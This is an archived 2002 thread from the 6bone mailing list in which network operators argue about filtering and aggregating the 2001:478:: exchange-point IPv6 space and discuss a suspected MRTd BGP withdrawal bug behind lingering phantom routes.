% dropped my ipv6 prefix-lists and I have a BGP4+ feed from three
% different pTLAs.


	Whom is aggregating this prefix?  


% Is there any document you can point us to that specifies that it should
% be unaggregated? 

	The original delegation request to ARIN specified that this
	range was being used for exchanges and infrastructure purposes.
	Exactly like the 198.32.0.0/16 space in v4 space.  And the 3ffe:0:
	space in the 6bone.  


% Michel.
% 
% 
% -----Original Message-----
% From: Bill Manning [mailto:bmanning@ISI.EDU] 
% Sent: Sunday, July 21, 2002 9:17 AM
% To: 6bone@ISI.EDU
% Cc: Bill Manning
% Subject: [6bone] 2001:478:: as /48
% 
% 
% 
% this prefix has/is being carved up into /48 and /64 subnets for
% use at exchange points and other infrastructure support services.
% 
% Do not expect to see it aggregated. 
% 
% -- bill manning
% _______________________________________________
% 6bone mailing list
% 6bone@mailman.isi.edu
% http://mailman.isi.edu/mailman/listinfo/6bone
% 


-- 
--bill

From bmanning@ISI.EDU Sun Jul 21 15:15:54 2002
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Subject: Re: [6bone] 2001:478::  as /48
In-Reply-To: <Pine.LNX.4.21.0207211510240.351-100000@Overkill.EnterZone.Net> from John Fraizer at "Jul 21, 2 03:15:51 pm"
To: tvo@ENTERZONE.NET (John Fraizer)
Date: Sun, 21 Jul 2002 15:15:46 -0700 (PDT)
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% 
% So, something on the order of:
% 
% ipv6 prefix-list agregates seq 10 permit 2001:478::/35 le 64
% 
% ...should work to accept these prefixes, right?
% 

	This should be a /32 within a month.

-- 
--bill

From noc@ENTERZONE.NET Sun Jul 21 17:10:56 2002
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Date: Sun, 21 Jul 2002 20:09:56 -0400 (EDT)
From: John Fraizer <tvo@ENTERZONE.NET>
To: Robert Kiessling <Robert.Kiessling@de.easynet.net>
cc: Michel Py <michel@arneill-py.sacramento.ca.us>,
   Bill Manning <bmanning@ISI.EDU>, 6bone@ISI.EDU
Subject: Re: [6bone] 2001:478::  as /48
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On 21 Jul 2002, Robert Kiessling wrote:

> John Fraizer <tvo@ENTERZONE.NET> writes:
> 
> > Bill was just notifying us that we SHOULD accept the prefixes as
> > un-aggregated, not that they were in the wild yet, unaggregated.
> 
> No, he did not. He said we cannot expect to see an aggregate, but that
> does *not* mean that we should accept /48's and /64's.
> 
> At least in RIPE region those prefixes are given out with the explicit
> warning that they might not be routable. And in fact, for the specific
> purposes like exchange point meshes, they don't need to be announced
> at all.
> 
> Please don't try to create "PI" space by suggesting that those
> prefixes should be accepted.
> 
> Robert
> 

OK.  This brings about the same implications as in IPv4 space.  If you
want traceroutes through exchange [x] to work without having at least ONE
hop that has "* * *" for a return, you will accept the prefix and route it
to *TRANSIT CUSTOMERS*.

Perhaps you didn't read that into it.  I did.  I agree that unless you
participate in exchange {x}, it is not important for you to accept these
routes or send them to your customers.

I seriously don't see the big deal with accepting de-aggregated space from
EP.NET, a WELL ESTABLISHED EXCHANGE-POINT IP SPACE MAINTAINER.  What I
don't understand is why folks are leaking /48's /64's and for that matter,
even /127's into the global IPv6 routing table.

People: We're the TESTBED *AND (some of us)* the *PRODUCTION* IPv6
backbone.  Set the example.  Don't accept garbage from your downstreams
and if you MUST do so, at minumum, don't send it to your other peers.

I know that this must look hypocrytical of me since I begged everyone to
accept 3ffe:1ced:32 deaggregates from 3ffe:1c00/24.  I only requested so
(and still do) because MERIT had not, and still had NOT responded to my
requests to update our tunnel configuration.  Without the tunnel in place
to MERIT, our downstream (6bone addressed) customers (6bone addressed
folks are NOT billed just so noone starts a war here) are dead unless
other pTLA's accept 3ffe:1ced::/32 deaggregated from 3ffe:1c00::/24.

I volunteer to fix this.

I submit that if in the next week, MERIT does not respond to my multiple
requests for action on their part, we all accept what I have been informed
of (by persons who requested to remain anonymous for political
reasons) being MERIT has abandoned their 6bone project.

In such event, EnterZone volunteers to take over the 3ffe:1c00::/24 space
and will move all downstream tunnels to our routers.


At the same time, I call one EVERY OTHER participant in the 6bone to take
a look at what prefixes you are originating.  If it's not aggregated, and
you don't have extenuating circumstances, as noted above, I suggest that
you AGGREGATE NOW!  Otherwise, you'll be listed in my weekly "These folks
are not aggregating, lets beat them about the head and shoulders
until they do" list that I'm goint to start posting to the list.  We have
a chance with IPv6 to set the standard BEFORE things get out of hand.  Let
us take advantage of it!


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From noc@ENTERZONE.NET Sun Jul 21 17:12:09 2002
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Date: Sun, 21 Jul 2002 20:12:04 -0400 (EDT)
From: John Fraizer <tvo@ENTERZONE.NET>
To: Robert Kiessling <Robert.Kiessling@de.easynet.net>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] MRTD BGP withdrawal bug
In-Reply-To: <m3vg78dddl.fsf@joseba.easynet.de>
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People are *STILL* running MRTd?  Hasn't it been undeveloped and abandoned
by the original developers for SEVERAL *YEARS*?

On 21 Jul 2002, Robert Kiessling wrote:

> Hello,
> 
> from observations of BGP tables, I came to the conclusion that MRTD
> has a bug processing withdrawals of routing announcements. It looks
> like this bug leads to the well-known phantom prefixes with huge AS
> paths, coming together with routing loops.
> 
> I haven't yet tried to reproduce it.
> 
> Has anyone already taken a deeper look into it?
> 
> Robert
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


From koji@iijmio-mail.jp Sun Jul 21 18:12:02 2002
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Subject: Re: [6bone] bogus routes remain for /35
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AS4691 is not announcing the route of 2001:2e8::/35,
but I can see this route from looking glass.


http://www.v6.mfeed.ad.jp/ipv6/lg.html

BGP routing table entry for 2001:2E8::/35, version 33588
Paths: (4 available, best #3)
  Advertised to non peer-group peers:
  2001:3A0::1001 2001:3A0::2001 2001:3A0::2002 2001:3A0::2003 2001:3A0::3001 
  65526 10566 6939 15589 1275 5609 20745 20745 20745 20745 20745 20745 20745 109 5550 9112 13110 3320 680 5539 8627 6830 559 8758 9044
    3FFE:81F1:1:2016::1 from 3FFE:81F1:1:2016::1 (213.91.4.3)
      Origin IGP, localpref 10, valid, external
      Community: no-export
  65526 10566 6939 15589 1275 5609 20745 20745 20745 20745 20745 20745 20745 109 5550 9112 13110 3320 680 5539 8627 6830 559 8758 9044, (received-only)
    3FFE:81F1:1:2016::1 from 3FFE:81F1:1:2016::1 (213.91.4.3)
      Origin IGP, localpref 100, valid, external
      Community: no-export
  3265 10566 6939 15589 1275 5609 20745 20745 20745 20745 20745 20745 20745 109 5550 9112 13110 3320 680 5539 8627 6830 559 8758 9044, (received & used)
    3FFE:8280:0:2000::6 from 3FFE:8280:0:2000::6 (194.109.5.254)
      Origin IGP, localpref 100, valid, external, best
  4697 10566 6939 15589 1275 5609 20745 20745 20745 20745 20745 20745 20745 109 5550 9112 13110 3320 680 5539 8627 6830 559 8758 9044, (received & used)
    3FFE:1801:0:1::3:179 from 3FFE:1801:0:1::3:179 (216.69.94.69)
      Origin IGP, localpref 100, valid, external

-- koji

From tvo@EnterZone.Net Sun Jul 21 19:01:04 2002
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From: John Fraizer <tvo@EnterZone.Net>
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Subject: Re: [6bone] bogus routes remain for /35
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On Mon, 22 Jul 2002, Koji Kondo wrote:

> AS4691 is not announcing the route of 2001:2e8::/35,
> but I can see this route from looking glass.
> 

And your point is?  You provide no documentation to who SHOULD be
announcing the prefix.   Help us out here.


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From Robert.Kiessling@de.easynet.net Sun Jul 21 19:02:03 2002
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Subject: Re: [6bone] 2001:478::  as /48
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From: Robert Kiessling <Robert.Kiessling@de.easynet.net>
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John Fraizer <tvo@ENTERZONE.NET> writes:

> OK.  This brings about the same implications as in IPv4 space.  If you
> want traceroutes through exchange [x] to work without having at least ONE
> hop that has "* * *" for a return, you will accept the prefix and route it
> to *TRANSIT CUSTOMERS*.

No, this is wrong. I don't know where this myth comes from.

All you need to accept packets from that address space, but there's no
need at all to be able to route *to* it, to avoid holes in
traceroutes. Thus you don't need to accept any BGP routes from that
block.

Robert


From Robert.Kiessling@de.easynet.net Sun Jul 21 19:06:23 2002
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Koji Kondo <koji@iijmio-mail.jp> writes:

> AS4691 is not announcing the route of 2001:2e8::/35,
> but I can see this route from looking glass.

See my message about MRTD. A bug in it is most likely the cause of
this announcement.

Robert

> BGP routing table entry for 2001:2E8::/35, version 33588
> Paths: (4 available, best #3)
>   Advertised to non peer-group peers:
>   2001:3A0::1001 2001:3A0::2001 2001:3A0::2002 2001:3A0::2003 2001:3A0::3001 
>   65526 10566 6939 15589 1275 5609 20745 20745 20745 20745 20745 20745 20745 109 5550 9112 13110 3320 680 5539 8627 6830 559 8758 9044
>     3FFE:81F1:1:2016::1 from 3FFE:81F1:1:2016::1 (213.91.4.3)
>       Origin IGP, localpref 10, valid, external
>       Community: no-export


From tvo@EnterZone.Net Sun Jul 21 19:33:10 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Robert Kiessling <Robert.Kiessling@de.easynet.net>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] MRTD BGP withdrawal bug
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With exception to the NANOG list, which I have *NO DOUBT* would survive in
the absence of MERIT, I've come to expect nothing less than failure from
*ANYTNING* that had any root with MERIT.   If you're still using MRTd, may
I suggest that you upgrade to something that is at least maintained like
perhaps:

http://www.zebra.org/

There is even a commercial version and it doesn't even require that you
donate your first and second born like the GateD code (also of MERIT
fame) does.

I'm *so* glad that I'm not from, and don't pay taxed to,
Michigan.  Otherwise, I would feel obligated to actually get *SOMETHING*
for my money beyond funding some grad student's stipen.


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |


On Sun, 21 Jul 2002, John Fraizer wrote:

> 
> People are *STILL* running MRTd?  Hasn't it been undeveloped and abandoned
> by the original developers for SEVERAL *YEARS*?
> 
> On 21 Jul 2002, Robert Kiessling wrote:
> 
> > Hello,
> > 
> > from observations of BGP tables, I came to the conclusion that MRTD
> > has a bug processing withdrawals of routing announcements. It looks
> > like this bug leads to the well-known phantom prefixes with huge AS
> > paths, coming together with routing loops.
> > 
> > I haven't yet tried to reproduce it.
> > 
> > Has anyone already taken a deeper look into it?
> > 
> > Robert
> > 
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> > 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


From koji@iijmio-mail.jp Sun Jul 21 20:12:39 2002
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Subject: Re: [6bone] bogus routes remain for /35
From: Koji Kondo <koji@iijmio-mail.jp>
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>> AS4691 is not announcing the route of 2001:2e8::/35,
>> but I can see this route from looking glass.
>
>And your point is?  You provide no documentation to who SHOULD be
>announcing the prefix.   Help us out here.

AS4691 has changed the announcing the prefix from 2001:2e8::/35 
to 2001:2e8::/32. We should not remain /35.

Robert has pointed out the MRTD bug.

Koji Kondo

From michel@arneill-py.sacramento.ca.us Sun Jul 21 22:41:35 2002
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Robert,

> Robert Kiessling
> from observations of BGP tables, I came to the conclusion
> that MRTD has a bug processing withdrawals of routing
> announcements. It looks like this bug leads to the well-known
> phantom prefixes with huge AS paths, coming together with
> routing loops.

The huge AS paths are not new, neither is the fact that we know it's a
withdrawal bug. May I ask how you pointed out that it's an MRTd bug?

So far, my feeling is that the issue has been solved by "let's reboot
the router and see what happens" method.

Michel.


From michel@arneill-py.sacramento.ca.us Sun Jul 21 22:51:27 2002
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Subject: RE: [6bone] 2001:478::  as /48
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Pim van Pelt" <pim@ipng.nl>
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> Pim van Pelt wrote:
> The below prefix-list used to be used by me (and possibly others)
> only on outgoing announcements.

This is consistent with me previously using it as ingress announcements,
as I am an end-site and you are a pTLA.

> This is why I have adapted the strict filtering in egress as well
> as ingress these days.

I agree.


> By the way, looking at the 'strict' prefix list below, I would
> like to bring it to the general attention that '3ffe::/17' does
> no longer exist, since we started to use the /32 prefixes in
> 3ffe:4000::/18, thus chopping the lower half of the /16 in half.
> For 6bone, it is now:
> 3ffe::/18 ge 24 le 24
> 3ffe:4000::/18 ge 32 le 32
> 3ffe:8000::/17 ge 28 le 28

Thanks for the precision.

> From other places, I hear that having /48 or even /64 in the
> route table could be 'acceptable'.

I still have to see any kind of document that makes it "acceptable".


> One might argue that an operator with a large router box with much
> memory can opt to have a 'full view' with all the more specifics,
> and an operator with a smaller box can opt to have a 'strict full
> view' with only aggregated prefixes.

This has similarities with what ipv6mh is currently working on (for geo
prefixes); however, I can not see any reason to have PA specifics except
your own.



> Nobody will lose connectivity in the latter case, if and only if we
> keep on having at least a route to the more specific in the
> aggregating AS. For me, I'll stick to BOFH mode (ie, strict filtering)
> until we have a best common practice.

Or a multihoming protocol.

Michel.


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Thread-Topic: [6bone] 2001:478::  as /48
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Robert Kiessling" <Robert.Kiessling@de.easynet.net>,
   "John Fraizier" <tvo@EnterZone.Net>
Cc: "Bill Manning" <bmanning@ISI.EDU>, <6bone@ISI.EDU>
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>> John Fraizer wrote:
>> Bill was just notifying us that we SHOULD accept the prefixes as
>> un-aggregated, not that they were in the wild yet, unaggregated.

> Robert Kiessling wrote:
> No, he did not. He said we cannot expect to see an aggregate, but
> that does *not* mean that we should accept /48's and /64's.
> At least in RIPE region those prefixes are given out with the
> explicit warning that they might not be routable. And in fact,
> for the specific purposes like exchange point meshes, they don't
> need to be announced at all.

> Please don't try to create "PI" space by suggesting that those
> prefixes should be accepted.

I strongly agree with Robert.

Michel.


From pekkas@netcore.fi Sun Jul 21 22:59:36 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Robert Kiessling <Robert.Kiessling@de.easynet.net>
cc: John Fraizer <tvo@ENTERZONE.NET>,
   Michel Py <michel@arneill-py.sacramento.ca.us>,
   Bill Manning <bmanning@ISI.EDU>, <6bone@ISI.EDU>
Subject: Re: [6bone] 2001:478::  as /48
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On 22 Jul 2002, Robert Kiessling wrote:
> John Fraizer <tvo@ENTERZONE.NET> writes:
> 
> > OK.  This brings about the same implications as in IPv4 space.  If you
> > want traceroutes through exchange [x] to work without having at least ONE
> > hop that has "* * *" for a return, you will accept the prefix and route it
> > to *TRANSIT CUSTOMERS*.
> 
> No, this is wrong. I don't know where this myth comes from.
> 
> All you need to accept packets from that address space, but there's no
> need at all to be able to route *to* it, to avoid holes in
> traceroutes. Thus you don't need to accept any BGP routes from that
> block.

.. unless you use stuff like Unicast RPF which the most don't (in this 
context).

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From michel@arneill-py.sacramento.ca.us Sun Jul 21 23:07:08 2002
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Bill,

>> Michel Py wrote:
>> I don't see it as unaggregated and I believe I'm not the only one. I
>> dropped my ipv6 prefix-lists and I have a BGP4+ feed from three
>> different pTLAs.

> Bill Manning wrote: 
> Whom is aggregating this prefix?   

*  2001:470::/35    3FFE:1CED:FF02::1           0 13944 6939 i
*>                  3FFE:B00:C18::8C            0 10566 6939 i
*                   3FFE:8270:0:1::40           0 20834 15589 6939 i
*  2001:480::/35    3FFE:1CED:FF02::1           0 13944 6939 668 i
*>                  3FFE:B00:C18::8C            0 10566 6939 668 i
*                   3FFE:8270:0:1::40

As far as I can tell, AS 6939 (Hurricane Electric)

>> Is there any document you can point us to that specifies that
>> it should be unaggregated? 

> The original delegation request to ARIN specified that this
> range was being used for exchanges and infrastructure purposes.
> Exactly like the 198.32.0.0/16 space in v4 space.  And the
> 3ffe:0: space in the 6bone.

For assignment purposes, yes. But the delegation request is not a waiver
to break aggregation, AFAIK.

Michel.


From michel@arneill-py.sacramento.ca.us Sun Jul 21 23:20:22 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Robert Kiessling" <Robert.Kiessling@de.easynet.net>,
   "John Fraizier" <tvo@EnterZone.Net>
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>> John Fraizer wrote:
>> OK.  This brings about the same implications as in IPv4 space.
>> If you want traceroutes through exchange [x] to work without
>> having at least ONE hop that has "* * *" for a return, you will
>> accept the prefix and route it to *TRANSIT CUSTOMERS*.

> Robert Kiessling wrote:
> No, this is wrong. I don't know where this myth comes from.
> All you need to accept packets from that address space, but
> there's no need at all to be able to route *to* it, to avoid
> holes in traceroutes. Thus you don't need to accept any BGP
> routes from that block.

One more time I will agree with Robert here. The traceroute is based on
the TTL expiring. Therefore, all that the network has to know is the
route to the target, specifically meaning that each hop needs to have
NLRI for the announcing router.

So, the source hosts sends a datagram to the target with increasing TTL
values, and each hop that dumps the datagram in the bit bucket sends a
"time expired" message to the source host, and that's the way traceroute
works.

If, by "accident", the TTL expires in a router that the originating host
has no specific route to, it does not matter, as what is required is
that the router that expires the TTL is able to send the "time expired"
to the originating host, not the opposite.

> Pekka Savola wrote:
>.. unless you use stuff like Unicast RPF which the most don't
> (in this context).

That would be easily solved by accepting the aggregate for that space.

Michel.


From jeroen@unfix.org Mon Jul 22 01:41:06 2002
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Subject: RE: [6bone] 2001:478::  as /48
Date: Mon, 22 Jul 2002 10:38:46 +0200
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John Fraizer wrote:

> On 21 Jul 2002, Robert Kiessling wrote:
> 
> > John Fraizer <tvo@ENTERZONE.NET> writes:
<SNIP>

> In such event, EnterZone volunteers to take over the 
> 3ffe:1c00::/24 space and will move all downstream tunnels to our
routers.
What's the reason that your company doesn't request it's own IPv6 space
from ARIN ?

> At the same time, I call one EVERY OTHER participant in the 
> 6bone to take a look at what prefixes you are originating.  If it's
not 
> aggregated, and you don't have extenuating circumstances, as noted
above, I 
> suggest that you AGGREGATE NOW!  Otherwise, you'll be listed in my
weekly 
> "These folks are not aggregating, lets beat them about the head and
shoulders
> until they do" list that I'm goint to start posting to the 
> list.  We have a chance with IPv6 to set the standard BEFORE things
get out 
> of hand.  Let us take advantage of it!

A couple of URL's for thou:
http://www.ripe.net/ripe/meetings/archive/ripe-42/presentations/ripe42-i
pv6-doering/R42-v6-table/
Or for comparison the RIPE40 and 41 versions:
http://www.space.net/~gert/RIPE/

It also lists something from MERIT, who already are sending a 6bone
routing report:
http://www.merit.edu/mail.archives/html/6bone-routing-report/

Greets,
 Jeroen

PS: I CC'd Larry who handled some of the 6bone routing report problems
last time.


From pim@ipng.nl Mon Jul 22 01:44:37 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] 2001:478::  as /48
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On Sun, Jul 21, 2002 at 09:16:40AM -0700, Bill Manning wrote:
| 
| 
| this prefix has/is being carved up into /48 and /64 subnets for
| use at exchange points and other infrastructure support services.
| 
| Do not expect to see it aggregated. 
In the RIPE region, there were lengthy and quite heated discussions on
how an IXP is to request address space.

The superblock 2001:7f8::/32 was created and also carved into /48s for
use on peering points. It was specifically forbidden to run support
services (such as looking glasses, websites, mailservers, etc) in this
address space and it was noted that these /48s need not be globally
routable.

John points out that not having a route for the /48 will break things
like traceroute. This would then be due to reversed path filtering,
which can be (and should be) disabled.

Others point out that not having a route for the /48 will break things
like path MTU discovery. This is also not true, except for those
who do have RPF on the router originating the too large frame.

Actually, I used to believe also that not having a route for the peering
mesh breaks the pMTU, but people with a lot more brains than I assure
me that there is nothing broken at the IXP unless the participating
operators break their routers (eg by enabling RPF). To my knowledge,
there is no router today which does RPF for IPv6, but I could be
mistaken.

Regarding Johns statement with regard to accepting broken space from
somebody who is well known and respected, I am in total disagreement.
I will be filtering according to RFC and in the case one exists, the BCP
documents which are approved by my local community in the RIPE area.
Accepting /48s from some /32 from ARIN does not belong to this set of
policies, and I really don't see why any LIR, be they an IXP or no,
should be able to change these policies on their own.

As said previously, I have no real problem with parties who chose to
deliberately leak a /48 into the global tables. Such has been done by
the RIPE NCC (who have space from SURFnet, the nren) and possibly will
be done by the AMS-IX (the dutch high volume peering point) in the
future. This is because the current policies do not allow for these
parties to obtain an aggregate for themselves.

It is clear that if one is to accept the /48 from AMSIX or RIPENCC that
they could have a better path to them. People who do not wish to carry
the /48 in their tables, will still have a less specific route to the
SURFnet aggregate.

So in short: somebody should be aggregating 2001:478::/32 so that I (and
most probably several other European operators) will have a path to the
aggregate and be able to reach the /48s in a proper, RFC obeying manner.

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From bmanning@ISI.EDU Mon Jul 22 04:35:56 2002
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Subject: Re: [6bone] 2001:478::  as /48
In-Reply-To: <2B81403386729140A3A899A8B39B046405E1FC@server2000.arneill-py.sacramento.ca.us> from Michel Py at "Jul 21, 2 11:07:01 pm"
To: michel@arneill-py.sacramento.ca.us (Michel Py)
Date: Mon, 22 Jul 2002 04:34:55 -0700 (PDT)
Cc: bmanning@ISI.EDU, 6bone@ISI.EDU
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% > Bill Manning wrote: 
% > Whom is aggregating this prefix?   
% 
% *  2001:470::/35    3FFE:1CED:FF02::1           0 13944 6939 i
% *>                  3FFE:B00:C18::8C            0 10566 6939 i
% *                   3FFE:8270:0:1::40           0 20834 15589 6939 i
% *  2001:480::/35    3FFE:1CED:FF02::1           0 13944 6939 668 i
% *>                  3FFE:B00:C18::8C            0 10566 6939 668 i
% *                   3FFE:8270:0:1::40
% 
% As far as I can tell, AS 6939 (Hurricane Electric)

	er, 2001:478::/35 is -NOT- there, nor is any other
	segment of 2001:478::/35.  You are not seeing it.

% >> Is there any document you can point us to that specifies that
% >> it should be unaggregated? 
% 
% > The original delegation request to ARIN specified that this
% > range was being used for exchanges and infrastructure purposes.
% > Exactly like the 198.32.0.0/16 space in v4 space.  And the
% > 3ffe:0: space in the 6bone.
% 
% For assignment purposes, yes. But the delegation request is not a waiver
% to break aggregation, AFAIK.

	You asked for a document, you got one. Just because you
	don't like what you got, does not means it does not exist.
% 
% Michel.
% 


-- 
--bill

From bmanning@ISI.EDU Mon Jul 22 04:55:31 2002
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Subject: Re: [6bone] 2001:478::  as /48
In-Reply-To: <2B81403386729140A3A899A8B39B046405E1FD@server2000.arneill-py.sacramento.ca.us> from Michel Py at "Jul 21, 2 11:20:15 pm"
To: michel@arneill-py.sacramento.ca.us (Michel Py)
Date: Mon, 22 Jul 2002 04:54:24 -0700 (PDT)
Cc: Robert.Kiessling@de.easynet.net, tvo@EnterZone.Net, bmanning@ISI.EDU,
   6bone@ISI.EDU
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% > Pekka Savola wrote:
% >.. unless you use stuff like Unicast RPF which the most don't
% > (in this context).
% 
% That would be easily solved by accepting the aggregate for that space.
% 
% Michel.

	Such an aggregate will never exist, from the holder of 2001:478::
	Only people who proxy aggregate will see such. I guess that
	it is useful to note that This thread was to point out that
	under no legitimate circumstances should anyone see the aggreagate
	2001:478::/35 since all the delegations are of /48 or /64 and are
	to number exchanges and other infrastructure.  I'd like folks to
	understand what accepting /48s in this range will mean.
	I'm not asking you to accept them. I'm asking you to -NOT- accept
	the aggregate.
-- 
--bill

From Robert.Kiessling@de.easynet.net Mon Jul 22 05:12:02 2002
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"Michel Py" <michel@arneill-py.sacramento.ca.us> writes:

> The huge AS paths are not new, neither is the fact that we know it's a
> withdrawal bug. 

Right.

> May I ask how you pointed out that it's an MRTd bug?

From looking at BGP view before and after an router running MRTd. The
AS in question annonced a path like "AS-guilty AS-other
some-long-path", while AS-other has a different path for the prefix in
question. I saw this for the same AS-guilty and different AS-others.

> So far, my feeling is that the issue has been solved by "let's reboot
> the router and see what happens" method.

Right, but that's not an acceptable long-term solution. IMHO either
AS-guilty fixes the problem, or their peers have to fix it for them.

Robert


From bmanning@ISI.EDU Mon Jul 22 05:20:03 2002
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] 2001:478::  as /48
In-Reply-To: <20020722084432.GA19008@bfib.colo.bit.nl> from Pim van Pelt at "Jul 22, 2 10:44:32 am"
To: pim@ipng.nl (Pim van Pelt)
Date: Mon, 22 Jul 2002 05:19:55 -0700 (PDT)
Cc: bmanning@ISI.EDU, 6bone@ISI.EDU
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% | this prefix has/is being carved up into /48 and /64 subnets for
% | use at exchange points and other infrastructure support services.
% | 
% | Do not expect to see it aggregated. 
% In the RIPE region, there were lengthy and quite heated discussions on
% how an IXP is to request address space.
% 
% The superblock 2001:7f8::/32 was created and also carved into /48s for
% use on peering points. It was specifically forbidden to run support
% services (such as looking glasses, websites, mailservers, etc) in this
% address space and it was noted that these /48s need not be globally
% routable.

	whom announces 2001:7f8::/32 ?
	someone with a path to each and every exchange that gets
	a /48 ?   and whom enforces the "no services" clause?


% Regarding Johns statement with regard to accepting broken space from
% somebody who is well known and respected, I am in total disagreement.
% I will be filtering according to RFC and in the case one exists, the BCP
% documents which are approved by my local community in the RIPE area.
% Accepting /48s from some /32 from ARIN does not belong to this set of
% policies, and I really don't see why any LIR, be they an IXP or no,
% should be able to change these policies on their own.

	Modulo the exceptions you mention below ... :)
	EP.NET, LLC. is not an LIR. (thats a RIPE convention)
	Filtering is the responsibility of each ISP, according
	to their own policies. Nothing I do should affect how
	you set your own fitlering policies.

% So in short: somebody should be aggregating 2001:478::/32 so that I (and
% most probably several other European operators) will have a path to the
% aggregate and be able to reach the /48s in a proper, RFC obeying manner.

That is precisely what I'm asking -NOT- be done. There is no transit
facility that will get you to all the exchanges numbered out of this
range.  e.g.

	2001:478:200::/48	MAE-West
	2001:478:1199::/48	MAE-Frankfurt
	2001:478:39::/48	IX-SauPaulo
	2001:478:1202::/48	CNIX-Beijing



% 
% -- 
% ---------- - -    - - -+- - -    - - ----------
% Pim van Pelt                 Email: pim@ipng.nl
% http://www.ipng.nl/             IPv6 Deployment
% -----------------------------------------------
% 


-- 
--bill

From pim@ipng.nl Mon Jul 22 06:00:40 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Bill Manning <bmanning@ISI.EDU>
Cc: Pim van Pelt <pim@ipng.nl>, 6bone@ISI.EDU
Subject: Re: [6bone] 2001:478::  as /48
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Hi Bill,

To start off, I now see your point and have no further problems with the
de-aggregated /48s. See in-line comments for some more thoughts. The
only important issue left, in my oppinion, is if your /48 allocated IXPs
will be offering services from within these non-aggregated chunks..

On Mon, Jul 22, 2002 at 05:19:55AM -0700, Bill Manning wrote:
| % | this prefix has/is being carved up into /48 and /64 subnets for
| % | use at exchange points and other infrastructure support services.
| % | 
| % | Do not expect to see it aggregated. 
| % In the RIPE region, there were lengthy and quite heated discussions on
| % how an IXP is to request address space.
| % 
| % The superblock 2001:7f8::/32 was created and also carved into /48s for
| % use on peering points. It was specifically forbidden to run support
| % services (such as looking glasses, websites, mailservers, etc) in this
| % address space and it was noted that these /48s need not be globally
| % routable.
| 
| 	whom announces 2001:7f8::/32 ?
| 	someone with a path to each and every exchange that gets
| 	a /48 ?   and whom enforces the "no services" clause?
Nobody announces or aggregates it. It is a placeholder for IXPs. It is
much like the network we are talking about now, in all respects.

| % Regarding Johns statement with regard to accepting broken space from
| % somebody who is well known and respected, I am in total disagreement.
| % I will be filtering according to RFC and in the case one exists, the BCP
| % documents which are approved by my local community in the RIPE area.
| % Accepting /48s from some /32 from ARIN does not belong to this set of
| % policies, and I really don't see why any LIR, be they an IXP or no,
| % should be able to change these policies on their own.
| 
| 	Modulo the exceptions you mention below ... :)
| 	EP.NET, LLC. is not an LIR. (thats a RIPE convention)
| 	Filtering is the responsibility of each ISP, according
| 	to their own policies. Nothing I do should affect how
| 	you set your own fitlering policies.
Indeed. If one choses not to accept the /48s, then there simply will be
no route to those IXP networks. However, if I wanted to be able to reach
the /48s, I would be forced to change my filtering policies.

So in fact, depending on the given fact that these IXP /48s will be
running services in their deaggregated network space, this will surely
lead to either unreachable services, or changed (global) filtering
policy guidelines.
 
| % So in short: somebody should be aggregating 2001:478::/32 so that I (and
| % most probably several other European operators) will have a path to the
| % aggregate and be able to reach the /48s in a proper, RFC obeying manner.
| 
| That is precisely what I'm asking -NOT- be done. There is no transit
| facility that will get you to all the exchanges numbered out of this
| range.  e.g.
| 
| 	2001:478:200::/48	MAE-West
| 	2001:478:1199::/48	MAE-Frankfurt
| 	2001:478:39::/48	IX-SauPaulo
| 	2001:478:1202::/48	CNIX-Beijing
These, and all other more specifics in the 2001:478::/32 network, will
be unreachable from my site(s). I do hope people are not planning to run
public services such as looking glass or websites/whois servers in these
networks ?

If so, those will not be reachable either for my customers, unless I can
be somehow persuaded that IXPs are more special than other pigs.

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From michel@arneill-py.sacramento.ca.us Mon Jul 22 07:44:35 2002
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> er, 2001:478::/35 is -NOT- there, nor is any other
> segment of 2001:478::/35.  You are not seeing it.

Doh. As I said previously, I don't see it indeed.


> You asked for a document, you got one. Just because you
> don't like what you got, does not means it does not exist.

I beg your pardon, but I still have to see a link to it.

Michel.


From michel@arneill-py.sacramento.ca.us Mon Jul 22 08:12:06 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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> Robert Kiessling wrote:
> From looking at BGP view before and after an router running
> MRTd. The AS in question annonced a path like "AS-guilty
> AS-other some-long-path", while AS-other has a different path
> for the prefix in question. I saw this for the same AS-guilty
> and different AS-others.

This is consistent with what was observed before, indeed.


>> So far, my feeling is that the issue has been solved by "let's reboot
>> the router and see what happens" method.

> Right, but that's not an acceptable long-term solution. IMHO
> either AS-guilty fixes the problem,

> or their peers have to fix it for them.

This is not an acceptable long-term solution either.

So what can we do? Even if we declare MRTd illegal, enforcing it would
be another story. I vaguely tried to define a generic route-map for
these with no success either.

Michel.


